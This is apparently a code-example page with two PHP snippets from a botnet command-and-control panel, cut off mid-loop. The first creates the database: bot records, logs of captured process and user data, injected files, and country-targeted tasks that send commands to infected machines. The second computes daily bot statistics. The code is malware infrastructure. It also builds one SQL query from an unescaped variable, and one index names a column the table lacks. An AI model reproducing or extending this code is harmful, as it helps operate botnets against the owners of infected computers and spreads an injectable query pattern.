Exemple #1
0
function CreateDatabase()
{
    error_reporting(0);
    Db_Mysql::init(MYSQL_HOST, MYSQL_LOGIN, MYSQL_PASSWORD, MYSQL_DB);
    $db = Db_Mysql::getInstance();
    $db->query('SET NAMES "utf8" COLLATE "utf8_unicode_ci";');
    $db->debug = 0;
    //--------------------------------------------------------------------------------------------------------
    $db->query('DROP TABLE IF EXISTS `bots`;');
    if (!$db->query("\r\n        CREATE TABLE IF NOT EXISTS `bots` (\r\n\t\t  `botId` int(11) unsigned NOT NULL AUTO_INCREMENT,\r\n\t\t  `botName` char(128) NOT NULL,\r\n\t\t  `botIp` bigint(20) NOT NULL,\r\n\t\t  `botVersion` int(11) unsigned NOT NULL,\r\n\t\t  `botAdded` int(11) unsigned NOT NULL,\r\n\t\t  `botAccess` int(11) unsigned NOT NULL,\r\n\t\t  `botCountry` varchar(2) NOT NULL default '??',\r\n\t\t  `botOS` tinyblob NOT NULL,\r\n\t\t  `botBuildId` char(30) NOT NULL,\r\n\t\t  `botClean` enum('yes','no') NOT NULL default 'yes',\r\n          PRIMARY KEY (`botId`),\r\n          UNIQUE KEY `botName` (`botName`),\r\n          KEY `botAdded` (`botAdded`),\r\n          KEY `botAccess` (`botAccess`),\r\n          KEY `botCountry` (`botCountry`),\r\n          KEY `botSystem` (`botSystem`),\r\n          KEY `botBuildId` (`botBuildId`)\r\n        ) ENGINE=InnoDB DEFAULT CHARACTER SET utf8;\r\n    ")) {
        exit;
    }
    //--------------------------------------------------------------------------------------------------------
    $db->query('DROP TABLE IF EXISTS `daily`;');
    if (!$db->query("\r\n        CREATE TABLE IF NOT EXISTS `daily` (\r\n\t\t  `dayBuildId` char(30) NOT NULL,\r\n\t\t  `dayDate` DATE NOT NULL,\r\n\t\t  `dayBots` int(11) DEFAULT NULL,\r\n\t\t  `dayBotsNew` int(11) DEFAULT NULL,\r\n\t\t  `dayBotsDead` int(11) DEFAULT NULL,\r\n\t\t  `dayBotsOnline` int(11) DEFAULT NULL,\r\n\t\t  `dayBotsMaxOnline` int(11) DEFAULT NULL,\r\n\t\t  `dayBotsMinOnline` int(11) DEFAULT NULL,\r\n\t\t  `dayBotsLifeTime` float(11) DEFAULT NULL,\r\n\t\t  `dayBotsNetTime` float(11) DEFAULT NULL,\r\n\t\t  KEY `dayIndex` (`dayDate`, `dayBuildId`),\r\n\t\t  KEY `dayBotsMaxOnline` (`dayBotsMaxOnline`),\r\n          KEY `dayBotsMinOnline` (`dayBotsMinOnline`)\r\n        ) ENGINE=InnoDB DEFAULT CHARACTER SET utf8;\r\n    ")) {
        exit;
    }
    //--------------------------------------------------------------------------------------------------------
    $db->query('DROP TABLE IF EXISTS `stats`;');
    if (!$db->query("\r\n        CREATE TABLE IF NOT EXISTS `stats` (\r\n          `statBuildId` char(30) NOT NULL,\r\n\t\t  `statCountry` varchar(10) NOT NULL default '',\r\n\t\t  `statSystem` char(30) NOT NULL,\r\n\t\t  `statBots` int(11) DEFAULT NULL,\r\n\t\t  `statBotsDead` int(11) DEFAULT NULL,\r\n\t\t  `statBotsOnline` int(11) DEFAULT NULL,\r\n\t\t  `statBotsLifeTime` float(11) DEFAULT NULL,\r\n\t\t  `statBotsNetTime` float(11) DEFAULT NULL,\r\n\t\t  KEY `statIndex` (`statCountry`, `statSystem`, `statBuildId`)\r\n        ) ENGINE=InnoDB DEFAULT CHARACTER SET utf8;\r\n    ")) {
        exit;
    }
    //--------------------------------------------------------------------------------------------------------
    $db->query('DROP TABLE IF EXISTS `botnet_logs`;');
    if (!$db->query("\r\n        CREATE TABLE IF NOT EXISTS `botnet_logs` (\r\n\t\t  `id` int(11) unsigned NOT NULL AUTO_INCREMENT,\r\n\t\t  `bot_id` char(100) NOT NULL default '??',\r\n\t\t  `botnet` char(30) NOT NULL,\r\n\t\t  `bot_version` int(10) unsigned NOT NULL,\r\n\t\t  `bot_country` varchar(2) NOT NULL default '??',\r\n\t\t  `path` TEXT NOT NULL default '??',\r\n\t\t  `time_system` int(10) NOT NULL,\r\n\t\t  `time_tick` int(11) NOT NULL,\r\n\t\t  `time_localbias` int(11) NOT NULL,\r\n\t\t  `log_time` int(11) NOT NULL,\r\n\t\t  `os_version` tinyblob NOT NULL,\r\n\t\t  `language_id` smallint(5) NOT NULL,\r\n\t\t  `process_name` text NOT NULL,\r\n\t\t  `process_user` text NOT NULL,\r\n\t\t  `type` int(10) NOT NULL,\r\n\t\t  `context` longtext NOT NULL,\r\n\t\t  `ip` varbinary(15) NOT NULL default '0.0.0.0',\r\n          PRIMARY KEY (`id`)\r\n        ) ENGINE=InnoDB DEFAULT CHARACTER SET utf8;\r\n    ")) {
        exit;
    }
    //--------------------------------------------------------------------------------------------------------
    $db->query('DROP TABLE IF EXISTS `debug`;');
    if (!$db->query("\r\n        CREATE TABLE IF NOT EXISTS `debug` (\r\n\t\t  `logId` int(11) unsigned NOT NULL AUTO_INCREMENT,\r\n\t\t  `logType` int(10) unsigned NOT NULL,\r\n\t\t  `logBotName` char(100) NOT NULL,\r\n\t\t  `logAdded` int(11) unsigned NOT NULL,\r\n\t\t  `logFunctionNameHash` int(11) unsigned NOT NULL,\r\n\t\t  `logFormatHash` int(11) unsigned NOT NULL,\r\n\t\t  `logText` TEXT NOT NULL,\r\n          PRIMARY KEY (`logId`),\r\n          KEY `logBotName` (`logBotName`),\r\n          KEY `logAdded` (`logAdded`)\r\n        ) ENGINE=InnoDB DEFAULT CHARACTER SET utf8;\r\n    ")) {
        exit;
    }
    //--------------------------------------------------------------------------------------------------------
    $db->query('DROP TABLE IF EXISTS `files`;');
    if (!$db->query("\r\n        CREATE TABLE IF NOT EXISTS `files` (\r\n          `fId` int(11) unsigned NOT NULL AUTO_INCREMENT,\r\n\t\t  `fArch` char(5) NOT NULL,\r\n\t\t  `fName` char(30) NOT NULL,\r\n\t\t  `fInject` char(30) NOT NULL,\r\n\t\t  `fVer` char(15) NOT NULL,\r\n\t\t  `fFilePath` text NOT NULL,\r\n\t\t  `fDate` datetime NOT NULL,\r\n\t\t  `fConnectedWith` char(30) NOT NULL,\r\n\t\t  `fArgs` char(200) NOT NULL default 'empty',\r\n\t\t  PRIMARY KEY (`fId`)\r\n        ) ENGINE=InnoDB DEFAULT CHARACTER SET utf8;\r\n    ")) {
        exit;
    }
    //--------------------------------------------------------------------------------------------------------
    $db->query('DROP TABLE IF EXISTS `country`;');
    if (!$db->query("\r\n        CREATE TABLE IF NOT EXISTS `country` (\r\n          `cId` int(11) NOT NULL auto_increment,\r\n          `cName` varchar(200) NOT NULL default '',\r\n          `cCountry1` set('AP','EU','AD','AE','AF','AG','AI','AL','AM','AN','AO','AQ','AR','AS','AT','AU','AW','AZ','BA','BB','BD','BE','BF','BG','BH','BI','BJ','BM','BN','BO','BR','BS','BT','BV','BW','BY','BZ','CA','CC','CD','CF','CG','CH','CI','CK','CL','CM','CN','CO','CR','CU','CV','CX','CY','CZ','DE','DJ','DK','DM','DO','DZ','EC','EE','EG') NOT NULL default '',\r\n          `cCountry2` set('EH','ER','ES','ET','FI','FJ','FK','FM','FO','FR','FX','GA','GB','GD','GE','GF','GH','GI','GL','GM','GN','GP','GQ','GR','GS','GT','GU','GW','GY','HK','HM','HN','HR','HT','HU','ID','IE','IL','IN','IO','IQ','IR','IS','IT','JM','JO','JP','KE','KG','KH','KI','KM','KN','KP','KR','KW','KY','KZ','LA','LB','LC','LI','LK','LR') NOT NULL default '',\r\n          `cCountry3` set('LS','LT','LU','LV','LY','MA','MC','MD','MG','MH','MK','ML','MM','MN','MO','MP','MQ','MR','MS','MT','MU','MV','MW','MX','MY','MZ','NA','NC','NE','NF','NG','NI','NL','NO','NP','NR','NU','NZ','OM','PA','PE','PF','PG','PH','PK','PL','PM','PN','PR','PS','PT','PW','PY','QA','RE','RO','RU','RW','SA','SB','SC','SD','SE','SG') NOT NULL default '',\r\n          `cCountry4` set('SH','SI','SJ','SK','SL','SM','SN','SO','SR','ST','SV','SY','SZ','TC','TD','TF','TG','TH','TJ','TK','TM','TN','TO','TL','TR','TT','TV','TW','TZ','UA','UG','UM','US','UY','UZ','VA','VC','VE','VG','VI','VN','VU','WF','WS','YE','YT','RS','ZA','ZM','ME','ZW','A1','A2','O1','AX','GG','IM','JE','UNKNOWN') NOT NULL default '',\r\n          PRIMARY KEY  (`cId`)\r\n        ) ENGINE=InnoDB DEFAULT CHARACTER SET utf8;\r\n        ")) {
        exit;
    }
    $db->query("INSERT INTO `country` VALUES (1, 'IT', '', 'IT', '', '');");
    $db->query("INSERT INTO `country` VALUES (2, 'AU', 'AU', '', '', '');");
    $db->query("INSERT INTO `country` VALUES (3, 'ES', '', 'ES', '', '');");
    $db->query("INSERT INTO `country` VALUES (4, 'DE', 'DE', '', '', '');");
    $db->query("INSERT INTO `country` VALUES (5, 'GB', '', 'GB', '', '');");
    $db->query("INSERT INTO `country` VALUES (6, 'NZ', '', '', 'NZ', '');");
    $db->query("INSERT INTO `country` VALUES (7, 'US', '', '', '', 'US');");
    $db->query("INSERT INTO `country` VALUES (8, 'FR', '', 'FR', '', '');");
    $db->query("INSERT INTO `country` VALUES (9, 'PT', '', '', 'PT', '');");
    $db->query("INSERT INTO `country` VALUES (10, 'JP', '', 'JP', '', '');");
    $db->query("INSERT INTO `country` VALUES (11, 'CA', 'CA', '', '', '');");
    $db->query("INSERT INTO `country` VALUES (12, 'SE', '', '', 'SE', '');");
    $db->query("INSERT INTO `country` VALUES (13, 'BR', 'BR', '', '', '');");
    $db->query("INSERT INTO `country` VALUES (14, 'TR', '', '', '', 'TR');");
    $db->query("INSERT INTO `country` VALUES (15, 'NL', '', '', 'NL', '');");
    $db->query("INSERT INTO `country` VALUES (16, 'NO', '', '', 'NO', '');");
    $db->query("INSERT INTO `country` VALUES (17, 'GR', '', 'GR', '', '');");
    $db->query("INSERT INTO `country` VALUES (18, 'PL', '', '', 'PL', '');");
    $db->query("INSERT INTO `country` VALUES (19, 'RU', '', '', 'RU', '');");
    $db->query("INSERT INTO `country` VALUES (20, 'UA', '', '', '', 'UA');");
    $db->query("INSERT INTO `country` VALUES (21, 'CN', 'CN', '', '', '');");
    $db->query("INSERT INTO `country` VALUES (22, 'BY', 'BY', '', '', '');");
    $db->query("INSERT INTO `country` VALUES (23, 'KZ', '', 'KZ', '', '');");
    $db->query("INSERT INTO `country` VALUES (24, 'MIX', 'AP,EU,AD,AE,AF,AG,AI,AL,AM,AN,AO,AQ,AR,AS,AT,AW,AZ,BA,BB,BD,BE,BF,BG,BH,BI,BJ,BM,BN,BO,BS,BT,BV,BW,BZ,CC,CD,CF,CG,CH,CI,CK,CL,CM,CO,CR,CU,CV,CX,CY,CZ,DJ,DK,DM,DO,DZ,EC,EE,EG', 'EH,ER,ET,FI,FJ,FK,FM,FO,FX,GA,GD,GE,GF,GH,GI,GL,GM,GN,GP,GQ,GS,GT,GU,GW,GY,HK,HM,HN,HR,HT,HU,ID,IE,IL,IN,IO,IQ,IR,IS,JM,JO,KE,KG,KH,KI,KM,KN,KP,KR,KW,KY,LA,LB,LC,LI,LK,LR', 'LS,LT,LU,LV,LY,MA,MC,MD,MG,MH,MK,ML,MM,MN,MO,MP,MQ,MR,MS,MT,MU,MV,MW,MX,MY,MZ,NA,NC,NE,NF,NG,NI,NP,NR,NU,OM,PA,PE,PF,PG,PH,PK,PM,PN,PR,PS,PW,PY,QA,RE,RO,RW,SA,SB,SC,SD,SG', 'SH,SI,SJ,SK,SL,SM,SN,SO,SR,ST,SV,SY,SZ,TC,TD,TF,TG,TH,TJ,TK,TM,TN,TO,TL,TT,TV,TW,TZ,UG,UM,UY,UZ,VA,VC,VE,VG,VI,VN,VU,WF,WS,YE,YT,RS,ZA,ZM,ME,ZW,A1,A2,O1,AX,GG,IM,JE,UNKNOWN');");
    //--------------------------------------------------------------------------------------------------------
    $db->query('DROP TABLE IF EXISTS `tasks`;');
    if (!$db->query("\r\n        CREATE TABLE IF NOT EXISTS `tasks` (\r\n            `tId` int(6) unsigned NOT NULL auto_increment,\r\n            `tName` varchar(200) NOT NULL default '',\r\n            `tPriority` int(6) unsigned NOT NULL default '0',\r\n            `tBuild` varchar(200) NOT NULL default '',\r\n\t\t\t`tArch` varchar(5) NOT NULL,\r\n            `tConfirm` enum('yes', 'no') NOT NULL default 'yes',\r\n            `tOnlyForClean` enum('yes', 'no') NOT NULL default 'no',\r\n            `tMarkAsDirty` enum('yes', 'no') NOT NULL default 'no',\r\n            `tCount` int(11) NOT NULL default '0',\r\n            `tState` enum('paused', 'running', 'finished', 'stopped') NOT NULL default 'paused',\r\n            `tCommand` varchar(200) NOT NULL default '',\r\n            `tViewCommand` varchar(200) NOT NULL default '',\r\n            `tCountry1` set\r\n            ('AP','EU','AD','AE','AF','AG','AI','AL','AM','AN','AO','AQ','AR','AS','AT','AU','AW','AZ','BA','BB','BD','BE','BF','BG','BH','BI','BJ','BM',\r\n            'BN','BO','BR','BS','BT','BV','BW','BY','BZ','CA','CC','CD','CF','CG','CH','CI','CK','CL','CM','CN','CO','CR','CU','CV','CX','CY','CZ',\r\n            'DE','DJ','DK','DM','DO','DZ','EC','EE','EG') NOT NULL default '',\r\n            `tCountry2` set\r\n            ('EH','ER','ES','ET','FI','FJ','FK','FM','FO','FR','FX','GA','GB','GD','GE','GF','GH','GI','GL','GM','GN','GP','GQ','GR','GS','GT','GU','GW',\r\n            'GY','HK','HM','HN','HR','HT','HU','ID','IE','IL','IN','IO','IQ','IR','IS','IT','JM','JO','JP','KE','KG','KH','KI','KM','KN','KP','KR',\r\n            'KW','KY','KZ','LA','LB','LC','LI','LK','LR') NOT NULL default '',\r\n            `tCountry3` set\r\n            ('LS','LT','LU','LV','LY','MA','MC','MD','MG','MH','MK','ML','MM','MN','MO','MP','MQ','MR','MS','MT','MU','MV','MW','MX','MY','MZ','NA','NC',\r\n            'NE','NF','NG','NI','NL','NO','NP','NR','NU','NZ','OM','PA','PE','PF','PG','PH','PK','PL','PM','PN','PR','PS','PT','PW','PY','QA','RE',\r\n            'RO','RU','RW','SA','SB','SC','SD','SE','SG') NOT NULL default '',\r\n            `tCountry4` set\r\n            ('SH','SI','SJ','SK','SL','SM','SN','SO','SR','ST','SV','SY','SZ','TC','TD','TF','TG','TH','TJ','TK','TM','TN','TO','TL','TR','TT','TV','TW',\r\n            'TZ','UA','UG','UM','US','UY','UZ','VA','VC','VE','VG','VI','VN','VU','WF','WS','YE','YT','RS','ZA','ZM','ME','ZW','A1','A2','O1','AX',\r\n            'GG','IM','JE','UNKNOWN') NOT NULL default '',\r\n            `tStartedCount` int(11) NOT NULL default '0',\r\n            `tFinishedCount` int(11) NOT NULL default '0',\r\n            `tFailedCount` int(11) NOT NULL default '0',\r\n\t\t\t`tArchDifference` int(11) NOT NULL default '0',\r\n            `tCreateTime` datetime NOT NULL default '0000-00-00 00:00:00',\r\n            `tLastTime` datetime default NULL,\r\n\t\t\t`tOnlyThisBots` varchar(200) NOT NULL default '*',\r\n\t\t\t`tRunMode` int(4) NOT NULL default '2',\r\n            PRIMARY KEY  (`tId`),\r\n            KEY `tCountry1` (`tCountry1`),\r\n            KEY `tCountry2` (`tCountry2`),\r\n            KEY `tCountry3` (`tCountry3`),\r\n            KEY `tCountry4` (`tCountry4`)\r\n        ) ENGINE=InnoDB DEFAULT CHARACTER SET utf8\r\n    ")) {
        exit;
    }
    //--------------------------------------------------------------------------------------------------------
    $db->query("DROP TABLE IF EXISTS `loads`;");
    if (!$db->query("\r\n        CREATE TABLE IF NOT EXISTS `loads` (\r\n\t\t\t`lId` int(11) unsigned NOT NULL AUTO_INCREMENT,\r\n\t\t    `lTaskId` int(10) unsigned NOT NULL default '0',\r\n\t\t    `lBotId` int(10) unsigned NOT NULL default '0',\r\n\t\t    `lAnswer` varchar(100) default NULL,\r\n\t\t    `lCountry` varchar(10) NOT NULL default '',\r\n\t\t    `lStartTime` datetime NOT NULL default '0000-00-00 00:00:00',\r\n            `lFinishTime` datetime default NULL,\r\n\t\t  PRIMARY KEY (`lId`),\r\n\t\t  KEY `lBotId` (`lBotId`),\r\n          KEY `lTaskId` (`lTaskId`),\r\n          KEY `lStartTime` (`lStartTime`),\r\n          KEY `lFinishTime` (`lFinishTime`)\r\n\t\t) ENGINE=InnoDB DEFAULT CHARACTER SET utf8;\r\n\t")) {
        exit;
    }
    //--------------------------------------------------------------------------------------------------------
    $db->query("DROP TABLE IF EXISTS `options`;");
    if (!$db->query("\r\n        CREATE TABLE IF NOT EXISTS `options` (\r\n\t\t\t`name` varchar(64) NOT NULL default '',\r\n\t\t\t`data` text,\r\n\t\t\tPRIMARY KEY (`name`)\r\n\t\t) ENGINE=InnoDB DEFAULT CHARACTER SET utf8;\r\n\t")) {
        exit;
    }
    $db->query('INSERT INTO options VALUES("alive", "3");');
    $db->query('INSERT INTO options VALUES("delay", "10");');
    //--------------------------------------------------------------------------------------------------------
    $db->close();
}
Exemple #2
0
<?php

define('APP_ROOT_PATH', dirname(__FILE__) . '/..');
require APP_ROOT_PATH . '/config.php';
require APP_ROOT_PATH . '/common.php';
Db_Mysql::init(MYSQL_HOST, MYSQL_LOGIN, MYSQL_PASSWORD, MYSQL_DB);
$db = Db_Mysql::getInstance();
$db->query('SET NAMES "utf8" COLLATE "utf8_unicode_ci";');
$db->debug = false;
//(defined('DEBUG') && DEBUG && defined('MYSQL_DEBUG') && MYSQL_DEBUG);
if (!defined('DEBUG') && DEBUG) {
    error_reporting(0);
}
function GetOption($name)
{
    global $db;
    $d = $db->query("SELECT data FROM options WHERE name='{$name}'")->fetchAssoc();
    return $d['data'];
}
cronUpdateDaily($db, GetOption('delay'), GetOption('alive'));
$db->close();
function cronUpdateDaily($db, $botOnlineMinutes, $botToDeadDays)
{
    $step = 500;
    $limit = 0;
    //  echo 'delay time: '. $botOnlineMinutes.' - dead time: '.$botToDeadDays. '<br>';
    while (true) {
        $bots = $db->query("SELECT `botAdded`, `botAccess`, `botCountry`, `botSystem`, `botBuildId` FROM bots WHERE 1 LIMIT {$limit}, {$step}");
        $botsArray = $bots->fetchAllAssoc();
        $db->freeResult();
        if (!is_array($botsArray) || !count($botsArray)) {